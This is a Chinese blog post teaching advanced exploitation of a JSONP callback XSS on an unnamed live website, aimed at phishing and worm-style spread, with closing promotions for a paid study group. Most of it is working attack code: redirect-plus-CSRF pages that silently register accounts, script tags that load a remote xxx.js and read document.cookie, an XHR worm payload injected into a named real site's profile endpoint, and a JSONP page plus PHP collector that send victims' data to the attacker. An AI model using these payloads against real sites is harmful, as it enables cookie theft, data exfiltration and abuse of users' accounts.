前言:
好久没分享东西了突然发觉
倒不是说没写东西
最近写的东西还是蛮多的 但是有些东西暂时还不想公开
贴个图吧
又恰巧在测批量挖掘的一个思路时,跑了某个站的域名
跑出来一个接口 就想着水篇文章
获取到如下的接口
http://网站/api/position/615?callback=111发觉是一个很不错的例子
这里就直接用这个来简单的教大家怎么挖掘jsonp的漏洞和xss进阶钓鱼使用
最基础的就不说了 就是常见的弹窗或者跳转之类的
当然也是因为这里没waf 如果有waf的话就想办法绕就好了
waf还是蛮好绕的
这里肯定是核心写进阶利用的
因为这里没有发布文章这些操作不然就直接写蠕虫了 所以这里直接调用的注册账户的来进行实现
思路一 xss重定向到一个页面后进行操作
个人不建议用这种思路 太容易被发现
window.location.href="http://baidu.com(payload的服务器地址)";
组合csrf使用
最简单的结合csrf的方法
准确就是url重定向+csrf漏洞进行
1.生成一个csrf
2.结合上面的重定向的代码把代码改为上面poc.html存储的服务器的地址即可
效果
常规的直接使用poc的如下
进一步更改的
直接结合doucument.forms[0].submit();去写
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action=""><script> document.forms[0].submit(); </script>
</form>
</body>
</html>
效果如下 弹窗跳转后直接成功
思路二 多次重定向+document.write
这种我比较喜欢 写完后完全没任何的在跳转到原来页面(不过最好还是自写js痕迹是最小的)
正常浏览的话看不出窃取了数据这些操作
组合蠕虫的话思路是一样的
直接页面插入自己html页面的链接即可或者就是插入xss平台生成的链接然后xss强制跳转(区别:后者可强制前者属于钓鱼手法)
直接抓包csrf生成的
<input type="hidden" name="callback" value="jQuery17207526730081973341_1651468576157" />
<input type="hidden" name="name" value="26164283431121" />
<input type="hidden" name="password" value="a.123456789" />
<input type="hidden" name="repassword" value="a.123456789" />
<input type="hidden" name="rname" value="" />
<input type="hidden" name="idcard" value="" />
<input type="hidden" name="formtype" value="registerform" />
<input type="hidden" name="from" value="3841" />
<input type="hidden" name="_" value="1651468592111" />
<input type="submit" value="Submit request" />
这个是html页面的
html页面也可以写xss的内容哦 核心就是看自己引用了
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<iframe id="test_iframe" style='display:none'></iframe>
<h1>aa</h1>
<script>
var test_iframe = document.getElementById('test_iframe');
function CSRF()
{
test_iframe.contentWindow.document.write("<form action='http://baidu.com/注册的接口'>"
+"<input type='hidden' name='callback' value='jQuery17207526730081973341_1651468576157' >"
+"<input type='hidden' name='name' value='261642834311211'>"
+"<input type='hidden' name='password' value='a.123456789' >"
+"<input type='hidden' name='repassword' value='a.123456789'>"
+"<input type='hidden' name='rname' value=''>"
+"<input type='hidden' name='idcard' value=''>"
+"<input type='hidden' name='formtype' value='registerform'>"
+"<input type='hidden' name='from' value='3841' >"
+"<input type='hidden' name='_' value='1651468592111'>"
+"</form>"
+"<script> document.forms[0].submit(); <\/script>")
}
CSRF();
window.setTimeout(window.location.href='http://www.baidu.com', 1);//延迟二秒后跳转到指定网页
</script>
原理:自写js代码进行处理
有动静的:弹窗+xss平台代码组合使用
<script>alert(document.cookie)</script><script src=http://xxx.com/xxx.js></script>
无动静的:直接xss.js的不弹窗即可
<script src=http://xxx.com/xxx.js></script>
如这里我使用的是有动静的
这个是链接的点
http://网站callback=<script>alert(document.cookie)</script><script src=http://xxx.com/xxx.js>
这个就是xxx.js的内容 即点击该参数即可调用插入引用xxx.js的代码进而进行插入代码造成xss漏洞
自写的xss代码如下
xxx.js
这里的代码就不贴了 防止大佬们猜出网站是哪个
跟这个原理差不多 就是url变了一下
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
}
else if (window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions);
}
catch(e) {}
}
}
xmlhttp=request;
var injectcode=escape('</p><script>alert(document.cookie)</script><script src=http://xxx.com/xxx.js>');
var url= "http://t.stock.sohu.com/updateuserinfo.up?callback=jQuery17209598822160122753_1402214482429&interest=%C6%DA%D6%B8&introduction="+injectcode;
xmlhttp.open("GET", url, true);
xmlhttp.setRequestHeader("Connection", "Keep-Alive");
xmlhttp.send();
扔进去到xss平台里面后访问后会自动请求js里面的get或者post请求
后自动即会跳转
请求完成后即可成功完成我们引用的xss代码操作
这个之前有写过但是这里还是也在此放出来
其实想想这里既然能xss 那为啥要用jsonp?哈哈哈哈
核心利用的原理:
JSONP技术可以实现数据的跨域访问,进而攻击者利用该漏洞可以向用户发送一个伪造的链接,进而当用户点击后进行回调函数进而即窃取到用户的信息
因为这里的callaback可控
服务器的保存文件的可以直接扔本地127.0.0.1
用phpstudy起一个就好了
<?php
if($_GET['file']){
file_put_contents('json.txt',$_GET['file']);
}
?>
点击该html即可获取到数据
<!DOCTYPE html>
<html lang="en"><head>
<meta charset="UTF-8">
</head><body>
<script>
function test(data) {
var xmlhttp = new XMLHttpRequest();
var url = "http://127.0.0.1/save_json.php?file=" + JSON.stringify(data);
xmlhttp.open("GET",url,true);
xmlhttp.send();
}
</script>
<script src="http://具有jsonp漏洞的地址/jsonp.php?callback=test"></script>
//callback回调函数进而获取数据然后采用ajax的形式进行发送数据</body>
</html>
如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放
笔者自己录制的一套php视频教程(适合0基础的),感兴趣的童鞋可以看看,基础视频总共约200多集,目前已经录制完毕,后续还有更多视频出品
https://space.bilibili.com/177546377/channel/seriesdetail?sid=2949374
技术交流请加笔者微信:richardo1o1 (暗号:growing)